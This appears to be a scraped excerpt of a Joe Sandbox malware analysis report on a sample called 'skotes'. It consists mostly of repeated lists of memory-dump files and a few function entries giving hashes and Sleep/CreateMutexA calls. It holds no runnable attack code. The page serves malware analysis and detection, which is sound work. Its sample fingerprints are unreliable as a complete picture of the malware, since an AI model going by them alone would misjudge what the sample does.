Associated: 00000002.00000002.2271760833.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271789531.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272052429.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272266694.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272435566.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272463470.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272498789.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272531533.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272564269.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272588907.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272646359.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272672838.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272712000.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272746704.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272790212.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272824549.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272873691.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272913150.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272947272.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272988713.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273036260.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273071657.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273106419.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273144651.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273193158.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273236804.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273272338.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273310725.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273347459.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273380658.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273405434.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273448003.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273481107.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273513738.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273551093.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273586467.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273629534.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273671410.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273728161.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273860732.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273885767.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273922756.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273958466.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273993281.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 622649e79a48c366e80b1cb126ac18fed26dc0b24d0403f77f87e8603dbcd4a8
Instruction ID: 38f74f3ab256f5d964228a7fa1bb5d60586ad953c8f26407c58a283f48b0d99f
Opcode Fuzzy Hash: 622649e79a48c366e80b1cb126ac18fed26dc0b24d0403f77f87e8603dbcd4a8
Instruction Fuzzy Hash: 12311831B001419BEB189B7DDD89BDDB762ABC5320F24821DE014DB2D5D77A8980AB52

Function 00FBA418 Relevance: 3.1, APIs: 2, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00FBA963
CreateMutexA.KERNELBASE(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000002.00000002.2271577590.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000002.00000002.2271536737.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271577590.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271715551.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271760833.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271789531.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272052429.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272266694.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272435566.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272463470.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272498789.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272531533.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272564269.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272588907.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272646359.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272672838.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272712000.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272746704.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272790212.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272824549.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272873691.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272913150.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272947272.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272988713.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273036260.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273071657.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273106419.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273144651.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273193158.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273236804.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273272338.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273310725.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273347459.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273380658.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273405434.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273448003.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273481107.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273513738.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273551093.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273586467.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273629534.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273671410.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273728161.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273860732.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273885767.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273922756.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273958466.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273993281.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 88371709c3b6aa4aadfd748c0c7e63983929f7818fd5bba60bb5c3845ff10b7c
Instruction ID: d5ba4af8dd67acad3f2729554bc458d3659f45830b58145a477b494d147a9087
Opcode Fuzzy Hash: 88371709c3b6aa4aadfd748c0c7e63983929f7818fd5bba60bb5c3845ff10b7c
Instruction Fuzzy Hash: AF311731B001449BEB18EB7DDD8DBEDB662EBC1320F248219E055DB2D6D77A4980AB52

Function 00FBA54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00FBA963
CreateMutexA.KERNELBASE(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000002.00000002.2271577590.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000002.00000002.2271536737.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271577590.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271715551.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271760833.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271789531.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272052429.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272266694.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272435566.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272463470.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272498789.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272531533.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272564269.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272588907.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272646359.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272672838.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272712000.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272746704.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272790212.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272824549.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272873691.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272913150.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272947272.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272988713.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273036260.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273071657.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273106419.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273144651.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273193158.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273236804.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273272338.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273310725.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273347459.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273380658.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273405434.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273448003.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273481107.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273513738.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273551093.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273586467.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273629534.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273671410.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273728161.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273860732.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273885767.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273922756.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273958466.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273993281.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 69689e7864f8435c2f36b75d18dcd9d3918780195af1799ca90adc88836da3a4
Instruction ID: cceefc9e44e20a8b78de1e7d07d87b8fd9b85180bfbedb95f62613763b6aeb12
Opcode Fuzzy Hash: 69689e7864f8435c2f36b75d18dcd9d3918780195af1799ca90adc88836da3a4
Instruction Fuzzy Hash: 2A312771B001048BEB189B7DDD89BECB762EBC5324F248219E054DB2D5CB798980FB12

Function 00FBA682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00FBA963
CreateMutexA.KERNELBASE(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000002.00000002.2271577590.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000002.00000002.2271536737.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271577590.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271715551.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271760833.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271789531.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272052429.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272266694.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272435566.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272463470.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272498789.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272531533.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272564269.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272588907.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272646359.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272672838.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272712000.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272746704.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272790212.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272824549.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272873691.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272913150.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272947272.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272988713.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273036260.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273071657.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273106419.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273144651.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273193158.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273236804.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273272338.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273310725.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273347459.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273380658.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273405434.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273448003.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273481107.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273513738.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273551093.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273586467.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273629534.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273671410.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273728161.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273860732.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273885767.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273922756.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273958466.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273993281.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 53e40bac621b9a18e96997a7b29c65cc0c9e0cc6b2de42890af78f8fd443471f
Instruction ID: aaa966a94a478d16fc277f4e06fcdc83030d0b8e19b000b36e952974f0c54996
Opcode Fuzzy Hash: 53e40bac621b9a18e96997a7b29c65cc0c9e0cc6b2de42890af78f8fd443471f
Instruction Fuzzy Hash: 74312671B042049BEB189B7DDD89BEDB762EBC5320F24821DE014DB2D5DB798980EB52

Function 00FB9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00FBA963
CreateMutexA.KERNELBASE(00000000,00000000,01013254), ref: 00FBA981

Memory Dump Source

Source File: 00000002.00000002.2271577590.0000000000FB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000002.00000002.2271536737.0000000000FB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271577590.0000000001012000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271715551.0000000001019000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271760833.000000000101B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2271789531.0000000001027000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272052429.000000000117E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272266694.0000000001180000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.0000000001198000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272363515.00000000011A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272435566.00000000011A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272463470.00000000011AB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272498789.00000000011AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272531533.00000000011AE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272564269.00000000011AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272588907.00000000011B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272646359.00000000011C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272672838.00000000011C4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272712000.00000000011C5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272746704.00000000011C6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272790212.00000000011D6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272824549.00000000011D8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272873691.00000000011DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272913150.00000000011DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272947272.00000000011DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2272988713.00000000011EE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273036260.0000000001206000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273071657.0000000001209000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273106419.000000000120A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273144651.0000000001215000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273193158.000000000121D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273236804.0000000001221000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273272338.0000000001229000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273310725.000000000122C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273347459.000000000122D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273380658.000000000122F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273405434.0000000001230000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273448003.0000000001235000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273481107.0000000001236000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273513738.0000000001237000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273551093.000000000123F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273586467.0000000001242000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273629534.000000000124A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273671410.000000000124C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273728161.0000000001280000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.0000000001282000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273766977.000000000128F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273860732.00000000012BA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273885767.00000000012BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273922756.00000000012C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273958466.00000000012C2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2273993281.00000000012D2000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_fb0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: dccb1bb7c23978709e238a566aba185d3d751aa01a4ae6ef0815d934211134e0
